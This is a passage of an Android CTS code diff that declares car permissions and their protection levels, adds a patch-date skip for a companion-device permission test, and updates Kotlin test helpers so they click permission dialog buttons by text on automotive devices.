-        android:description="@string/car_permission_desc_control_car_interior_lights" />
-    <permission
-        android:name="android.car.permission.CAR_POWER"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_power"
-        android:description="@string/car_permission_desc_car_power" />
-    <permission
-        android:name="android.car.permission.CAR_POWERTRAIN"
-        android:protectionLevel="normal"
-        android:label="@string/car_permission_label_car_powertrain"
-        android:description="@string/car_permission_desc_car_powertrain" />
-    <permission
-        android:name="android.car.permission.CAR_NAVIGATION_MANAGER"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_car_navigation_manager"
-        android:description="@string/car_permission_desc_car_navigation_manager" />
-    <permission
-        android:name="android.car.permission.CAR_DIAGNOSTICS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_diag_read"
-        android:description="@string/car_permission_desc_diag_read" />
-    <permission
-      android:name="android.car.permission.CLEAR_CAR_DIAGNOSTICS"
-      android:protectionLevel="system|signature"
-      android:label="@string/car_permission_label_diag_clear"
-      android:description="@string/car_permission_desc_diag_clear" />
-    <permission
-        android:name="android.car.permission.BIND_VMS_CLIENT"
-        android:protectionLevel="signature"
-        android:label="@string/car_permission_label_bind_vms_client"
-        android:description="@string/car_permission_desc_bind_vms_client" />
-    <permission
-        android:name="android.car.permission.VMS_PUBLISHER"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_vms_publisher"
-        android:description="@string/car_permission_desc_vms_publisher" />
-    <permission
-        android:name="android.car.permission.VMS_SUBSCRIBER"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_vms_subscriber"
-        android:description="@string/car_permission_desc_vms_subscriber" />
-    <permission
-        android:name="android.car.permission.CAR_DRIVING_STATE"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_driving_state"
-        android:description="@string/car_permission_desc_driving_state" />
+    <original-package android:name="com.android.car"/>
+     <permission-group android:name="android.car.permission-group.CAR_MONITORING"
+          android:icon="@drawable/perm_group_car"
+          android:description="@string/car_permission_desc"
+          android:label="@string/car_permission_label"/>
+    <permission android:name="android.car.permission.CAR_ENERGY"
+         android:permissionGroup="android.car.permission-group.CAR_MONITORING"
+         android:protectionLevel="dangerous"
+         android:label="@string/car_permission_label_energy"
+         android:description="@string/car_permission_desc_energy"/>
+    <permission android:name="android.car.permission.CAR_IDENTIFICATION"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_identification"
+         android:description="@string/car_permission_desc_car_identification"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_CLIMATE"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_hvac"
+         android:description="@string/car_permission_desc_hvac"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_DOORS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_control_car_doors"
+         android:description="@string/car_permission_desc_control_car_doors"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_WINDOWS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_control_car_windows"
+         android:description="@string/car_permission_desc_control_car_windows"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_MIRRORS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_control_car_mirrors"
+         android:description="@string/car_permission_desc_control_car_mirrors"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_SEATS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_control_car_seats"
+         android:description="@string/car_permission_desc_control_car_seats"/>
+    <permission android:name="android.car.permission.CAR_MILEAGE"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_mileage"
+         android:description="@string/car_permission_desc_mileage"/>
+    <permission android:name="android.car.permission.CAR_TIRES"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_tires"
+         android:description="@string/car_permission_desc_car_tires"/>
+    <permission android:name="android.car.permission.READ_CAR_STEERING"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_steering"
+         android:description="@string/car_permission_desc_car_steering"/>
+    <permission android:name="android.car.permission.READ_CAR_DISPLAY_UNITS"
+         android:protectionLevel="normal"
+         android:label="@string/car_permission_label_read_car_display_units"
+         android:description="@string/car_permission_desc_read_car_display_units"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_DISPLAY_UNITS"
+         android:protectionLevel="normal"
+         android:label="@string/car_permission_label_control_car_display_units"
+         android:description="@string/car_permission_desc_control_car_display_units"/>
+    <permission android:name="android.car.permission.CAR_SPEED"
+         android:permissionGroup="android.permission-group.LOCATION"
+         android:protectionLevel="dangerous"
+         android:label="@string/car_permission_label_speed"
+         android:description="@string/car_permission_desc_speed"/>
+    <permission android:name="android.car.permission.CAR_ENERGY_PORTS"
+         android:protectionLevel="normal"
+         android:label="@string/car_permission_label_car_energy_ports"
+         android:description="@string/car_permission_desc_car_energy_ports"/>
+    <permission android:name="android.car.permission.CAR_ENGINE_DETAILED"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_engine_detailed"
+         android:description="@string/car_permission_desc_car_engine_detailed"/>
+    <permission android:name="android.car.permission.CAR_DYNAMICS_STATE"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_vehicle_dynamics_state"
+         android:description="@string/car_permission_desc_vehicle_dynamics_state"/>
+    <permission android:name="android.car.permission.CAR_VENDOR_EXTENSION"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_vendor_extension"
+         android:description="@string/car_permission_desc_vendor_extension"/>
+    <permission android:name="android.car.permission.CAR_PROJECTION"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_projection"
+         android:description="@string/car_permission_desc_projection"/>
+    <permission android:name="android.car.permission.ACCESS_CAR_PROJECTION_STATUS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_access_projection_status"
+         android:description="@string/car_permission_desc_access_projection_status"/>
+    <permission android:name="android.car.permission.BIND_PROJECTION_SERVICE"
+         android:protectionLevel="signature"
+         android:label="@string/car_permission_label_bind_projection_service"
+         android:description="@string/car_permission_desc_bind_projection_service"/>
+    <permission android:name="android.car.permission.CAR_MOCK_VEHICLE_HAL"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_mock_vehicle_hal"
+         android:description="@string/car_permission_desc_mock_vehicle_hal"/>
+    <permission android:name="android.car.permission.CAR_INFO"
+         android:protectionLevel="normal"
+         android:label="@string/car_permission_label_car_info"
+         android:description="@string/car_permission_desc_car_info"/>
+    <permission android:name="android.car.permission.CAR_EXTERIOR_ENVIRONMENT"
+         android:protectionLevel="normal"
+         android:label="@string/car_permission_label_car_exterior_environment"
+         android:description="@string/car_permission_desc_car_exterior_environment"/>
+    <permission android:name="android.car.permission.CAR_EXTERIOR_LIGHTS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_exterior_lights"
+         android:description="@string/car_permission_desc_car_exterior_lights"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_EXTERIOR_LIGHTS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_control_car_exterior_lights"
+         android:description="@string/car_permission_desc_control_car_exterior_lights"/>
+    <permission android:name="android.car.permission.READ_CAR_INTERIOR_LIGHTS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_interior_lights"
+         android:description="@string/car_permission_desc_car_interior_lights"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_INTERIOR_LIGHTS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_control_car_interior_lights"
+         android:description="@string/car_permission_desc_control_car_interior_lights"/>
+    <permission android:name="android.car.permission.CAR_POWER"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_power"
+         android:description="@string/car_permission_desc_car_power"/>
+    <permission android:name="android.car.permission.CAR_POWERTRAIN"
+         android:protectionLevel="normal"
+         android:label="@string/car_permission_label_car_powertrain"
+         android:description="@string/car_permission_desc_car_powertrain"/>
+    <permission android:name="android.car.permission.CAR_NAVIGATION_MANAGER"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_car_navigation_manager"
+         android:description="@string/car_permission_desc_car_navigation_manager"/>
+    <permission android:name="android.car.permission.CAR_DIAGNOSTICS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_diag_read"
+         android:description="@string/car_permission_desc_diag_read"/>
+    <permission android:name="android.car.permission.CLEAR_CAR_DIAGNOSTICS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_diag_clear"
+         android:description="@string/car_permission_desc_diag_clear"/>
+    <permission android:name="android.car.permission.BIND_VMS_CLIENT"
+         android:protectionLevel="signature"
+         android:label="@string/car_permission_label_bind_vms_client"
+         android:description="@string/car_permission_desc_bind_vms_client"/>
+    <permission android:name="android.car.permission.VMS_PUBLISHER"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_vms_publisher"
+         android:description="@string/car_permission_desc_vms_publisher"/>
+    <permission android:name="android.car.permission.VMS_SUBSCRIBER"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_vms_subscriber"
+         android:description="@string/car_permission_desc_vms_subscriber"/>
+    <permission android:name="android.car.permission.CAR_DRIVING_STATE"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_driving_state"
+         android:description="@string/car_permission_desc_driving_state"/>
     <!--  may replace this with system permission if proper one is defined. -->
-    <permission
-        android:name="android.car.permission.CONTROL_APP_BLOCKING"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_control_app_blocking"
-        android:description="@string/car_permission_desc_control_app_blocking" />
+    <permission android:name="android.car.permission.CONTROL_APP_BLOCKING"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_control_app_blocking"
+         android:description="@string/car_permission_desc_control_app_blocking"/>
+    <permission android:name="android.car.permission.ADJUST_RANGE_REMAINING"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_adjust_range_remaining"
+         android:description="@string/car_permission_desc_adjust_range_remaining"/>
+    <permission android:name="android.car.permission.READ_CAR_OCCUPANT_AWARENESS_STATE"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_read_car_occupant_awareness_state"
+         android:description="@string/car_permission_desc_read_car_occupant_awareness_state"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_ENERGY_PORTS"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_control_car_energy_ports"
+         android:description="@string/car_permission_desc_control_car_energy_ports"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_OCCUPANT_AWARENESS_SYSTEM"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_control_car_occupant_awareness_system"
+         android:description="@string/car_permission_desc_control_car_occupant_awareness_system"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_FEATURES"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_control_car_features"
+         android:description="@string/car_permission_desc_control_car_features"/>
+    <permission android:name="android.car.permission.USE_CAR_WATCHDOG"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_use_car_watchdog"
+         android:description="@string/car_permission_desc_use_car_watchdog"/>
+    <permission android:name="android.car.permission.READ_CAR_VENDOR_PERMISSION_INFO"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_vendor_permission_info"
+         android:description="@string/car_permission_desc_vendor_permission_info"/>
+    <!-- Permission for vendor properties -->
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_WINDOW"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_window"
+         android:description="@string/car_permission_desc_get_car_vendor_category_window"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_WINDOW"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_window"
+         android:description="@string/car_permission_desc_set_car_vendor_category_window"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_DOOR"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_door"
+         android:description="@string/car_permission_desc_get_car_vendor_category_door"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_DOOR"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_door"
+         android:description="@string/car_permission_desc_set_car_vendor_category_door"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_SEAT"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_seat"
+         android:description="@string/car_permission_desc_get_car_vendor_category_seat"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_SEAT"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_seat"
+         android:description="@string/car_permission_desc_set_car_vendor_category_seat"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_MIRROR"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_mirror"
+         android:description="@string/car_permission_desc_get_car_vendor_category_mirror"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_MIRROR"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_mirror"
+         android:description="@string/car_permission_desc_set_car_vendor_category_mirror"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_INFO"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_info"
+         android:description="@string/car_permission_desc_get_car_vendor_category_info"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_INFO"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_info"
+         android:description="@string/car_permission_desc_set_car_vendor_category_info"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_ENGINE"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_engine"
+         android:description="@string/car_permission_desc_get_car_vendor_category_engine"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_ENGINE"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_engine"
+         android:description="@string/car_permission_desc_set_car_vendor_category_engine"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_HVAC"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_hvac"
+         android:description="@string/car_permission_desc_get_car_vendor_category_hvac"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_HVAC"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_hvac"
+         android:description="@string/car_permission_desc_set_car_vendor_category_hvac"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_LIGHT"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_light"
+         android:description="@string/car_permission_desc_get_car_vendor_category_light"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_LIGHT"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_light"
+         android:description="@string/car_permission_desc_set_car_vendor_category_light"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_1"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_1"
+         android:description="@string/car_permission_desc_get_car_vendor_category_1"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_1"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_1"
+         android:description="@string/car_permission_desc_set_car_vendor_category_1"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_2"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_2"
+         android:description="@string/car_permission_desc_get_car_vendor_category_2"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_2"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_2"
+         android:description="@string/car_permission_desc_set_car_vendor_category_2"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_3"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_3"
+         android:description="@string/car_permission_desc_get_car_vendor_category_3"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_3"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_3"
+         android:description="@string/car_permission_desc_set_car_vendor_category_3"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_4"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_4"
+         android:description="@string/car_permission_desc_get_car_vendor_category_4"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_4"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_4"
+         android:description="@string/car_permission_desc_set_car_vendor_category_4"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_5"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_5"
+         android:description="@string/car_permission_desc_get_car_vendor_category_5"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_5"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_5"
+         android:description="@string/car_permission_desc_set_car_vendor_category_5"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_6"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_6"
+         android:description="@string/car_permission_desc_get_car_vendor_category_6"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_6"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_6"
+         android:description="@string/car_permission_desc_set_car_vendor_category_6"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_7"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_7"
+         android:description="@string/car_permission_desc_get_car_vendor_category_7"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_7"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_7"
+         android:description="@string/car_permission_desc_set_car_vendor_category_7"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_8"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_8"
+         android:description="@string/car_permission_desc_get_car_vendor_category_8"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_8"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_8"
+         android:description="@string/car_permission_desc_set_car_vendor_category_8"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_9"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_9"
+         android:description="@string/car_permission_desc_get_car_vendor_category_9"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_9"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_9"
+         android:description="@string/car_permission_desc_set_car_vendor_category_9"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_10"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_10"
+         android:description="@string/car_permission_desc_get_car_vendor_category_10"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_10"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_10"
+         android:description="@string/car_permission_desc_set_car_vendor_category_10"/>
 
     <permission
         android:name="android.car.permission.CAR_CONTROL_AUDIO_VOLUME"
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 82e2a2a..5450014 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -65,6 +65,10 @@
     private static final String HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PERMISSION
             = "android.permission.HIDE_NON_SYSTEM_OVERLAY_WINDOWS";
 
+    private static final Date MANAGE_COMPANION_DEVICES_PATCH_DATE = parseDate("2020-07-01");
+    private static final String MANAGE_COMPANION_DEVICES_PERMISSION
+            = "android.permission.MANAGE_COMPANION_DEVICES";
+
     private static final String LOG_TAG = "PermissionProtectionTest";
 
     private static final String PLATFORM_PACKAGE_NAME = "android";
@@ -437,9 +441,14 @@
     }
 
     private boolean shouldSkipPermission(String permissionName) {
-        return parseDate(SECURITY_PATCH).before(HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE) &&
-                HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PERMISSION.equals(permissionName);
-
+        switch (permissionName) {
+            case HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PERMISSION:
+                return parseDate(SECURITY_PATCH).before(HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE);
+            case MANAGE_COMPANION_DEVICES_PERMISSION:
+                return parseDate(SECURITY_PATCH).before(MANAGE_COMPANION_DEVICES_PATCH_DATE);
+            default:
+                return false;
+        }
     }
 
     private class ExpectedPermissionInfo {
diff --git a/tests/tests/permission3/AndroidTest.xml b/tests/tests/permission3/AndroidTest.xml
index 2e48ea8..557de85 100644
--- a/tests/tests/permission3/AndroidTest.xml
+++ b/tests/tests/permission3/AndroidTest.xml
@@ -25,6 +25,8 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
+
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsPermission3TestCases.apk" />
diff --git a/tests/tests/permission3/UsePermissionApp22CalendarOnly/AndroidManifest.xml b/tests/tests/permission3/UsePermissionApp22CalendarOnly/AndroidManifest.xml
index 6b679d5..6ceaeee 100644
--- a/tests/tests/permission3/UsePermissionApp22CalendarOnly/AndroidManifest.xml
+++ b/tests/tests/permission3/UsePermissionApp22CalendarOnly/AndroidManifest.xml
@@ -30,6 +30,7 @@
         <activity android:name=".CheckCalendarAccessActivity" android:exported="true" />
         <activity android:name=".FinishOnCreateActivity" android:exported="true" />
         <activity android:name=".RequestPermissionsActivity" android:exported="true" />
+        <activity android:name=".StartCheckPermissionServiceActivity" android:exported="true" />
         <service android:name=".CheckPermissionService" android:exported="true" />
     </application>
 </manifest>
diff --git a/tests/tests/permission3/UsePermissionApp22CalendarOnly/src/android/permission3/cts/usepermission/StartCheckPermissionServiceActivity.kt b/tests/tests/permission3/UsePermissionApp22CalendarOnly/src/android/permission3/cts/usepermission/StartCheckPermissionServiceActivity.kt
new file mode 100644
index 0000000..9ddf757
--- /dev/null
+++ b/tests/tests/permission3/UsePermissionApp22CalendarOnly/src/android/permission3/cts/usepermission/StartCheckPermissionServiceActivity.kt
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission3.cts.usepermission
+
+import android.app.Activity
+import android.content.Intent
+import android.os.Bundle
+
+class StartCheckPermissionServiceActivity : Activity() {
+
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+
+        startService(Intent(this, CheckPermissionService::class.java).putExtras(intent))
+        finish()
+    }
+}
diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
index 47c1323..5cd5c4f 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
@@ -21,6 +21,7 @@
 import android.content.Context
 import android.content.Intent
 import android.content.pm.PackageManager
+import android.content.res.Resources
 import android.provider.Settings
 import android.support.test.uiautomator.By
 import android.support.test.uiautomator.BySelector
@@ -52,6 +53,8 @@
     protected val uiAutomation: UiAutomation = instrumentation.uiAutomation
     protected val uiDevice: UiDevice = UiDevice.getInstance(instrumentation)
     protected val packageManager: PackageManager = context.packageManager
+    private val mPermissionControllerResources: Resources = context.createPackageContext(
+            context.packageManager.permissionControllerPackageName, 0).resources
 
     @get:Rule
     val activityRule = ActivityTestRule(StartForFutureActivity::class.java, false, false)
@@ -87,6 +90,10 @@
         pressHome()
     }
 
+    protected fun getPermissionControllerString(res: String): String =
+            mPermissionControllerResources.getString(mPermissionControllerResources
+                    .getIdentifier(res, "string", "com.android.permissioncontroller"))
+
     protected fun installPackage(
         apkPath: String,
         reinstall: Boolean = false,
@@ -117,8 +124,8 @@
         return UiAutomatorUtils.waitFindObject(selector, timeoutMillis)
     }
 
-    protected fun click(selector: BySelector) {
-        waitFindObject(selector).click()
+    protected fun click(selector: BySelector, timeoutMillis: Long = 10_000) {
+        waitFindObject(selector, timeoutMillis).click()
         waitForIdle()
     }
 
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index 1f074fc..25e8962 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -68,6 +68,13 @@
         const val NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON =
                 "com.android.permissioncontroller:" +
                         "id/permission_no_upgrade_and_dont_ask_again_button"
+
+        const val ALLOW_BUTTON_TEXT = "grant_dialog_button_allow"
+        const val ALLOW_FOREGROUND_BUTTON_TEXT = "grant_dialog_button_allow_foreground"
+        const val DENY_BUTTON_TEXT = "grant_dialog_button_deny"
+        const val DENY_AND_DONT_ASK_AGAIN_BUTTON_TEXT =
+                "grant_dialog_button_deny_and_dont_ask_again"
+        const val NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON_TEXT = "grant_dialog_button_no_upgrade"
     }
 
     enum class PermissionState {
@@ -78,6 +85,7 @@
 
     protected val isTv = packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
     protected val isWatch = packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)
+    protected val isAutomotive = packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
 
     private val platformResources = context.createPackageContext("android", 0).resources
     private val permissionToLabelResNameMap =
@@ -192,11 +200,21 @@
     protected fun clearTargetSdkWarning() =
         click(By.res("android:id/button1"))
 
-    protected fun clickPermissionReviewContinue() =
-        click(By.res("com.android.permissioncontroller:id/continue_button"))
+    protected fun clickPermissionReviewContinue() {
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString("review_button_continue")))
+        } else {
+            click(By.res("com.android.permissioncontroller:id/continue_button"))
+        }
+    }
 
-    protected fun clickPermissionReviewCancel() =
-        click(By.res("com.android.permissioncontroller:id/cancel_button"))
+    protected fun clickPermissionReviewCancel() {
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString("review_button_cancel")))
+        } else {
+            click(By.res("com.android.permissioncontroller:id/cancel_button"))
+        }
+    }
 
     protected fun approvePermissionReview() {
         startAppActivityAndAssertResultCode(Activity.RESULT_OK) {
@@ -300,30 +318,55 @@
         block
     )
 
-    protected fun clickPermissionRequestAllowButton() =
-        click(By.res(ALLOW_BUTTON))
+    protected fun clickPermissionRequestAllowButton() {
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString(ALLOW_BUTTON_TEXT)))
+        } else {
+            click(By.res(ALLOW_BUTTON))
+        }
+    }
 
     protected fun clickPermissionRequestSettingsLinkAndAllowAlways() {
+        clickPermissionRequestSettingsLink()
         eventually({
-            clickPermissionRequestSettingsLink()
             clickAllowAlwaysInSettings()
         }, TIMEOUT_MILLIS * 2)
         pressBack()
     }
 
     protected fun clickAllowAlwaysInSettings() {
-        click(By.res("com.android.permissioncontroller:id/allow_always_radio_button"))
+        if (isAutomotive) {
+            click(By.text(getPermissionControllerString("app_permission_button_allow_always")))
+        } else {
+            click(By.res("com.android.permissioncontroller:id/allow_always_radio_button"))
+        }
     }
 
-    protected fun clickPermissionRequestAllowForegroundButton() =
-        click(By.res(ALLOW_FOREGROUND_BUTTON))
+    protected fun clickPermissionRequestAllowForegroundButton(timeoutMillis: Long = 10_000) {
+        if (isAutomotive) {
+            click(By.text(
+                    getPermissionControllerString(ALLOW_FOREGROUND_BUTTON_TEXT)), timeoutMillis)
+        } else {
+            click(By.res(ALLOW_FOREGROUND_BUTTON), timeoutMillis)
+        }
+    }
 
-    protected fun clickPermissionRequestDenyButton() =
-        click(By.res(DENY_BUTTON))
+    protected fun clickPermissionRequestDenyButton() {
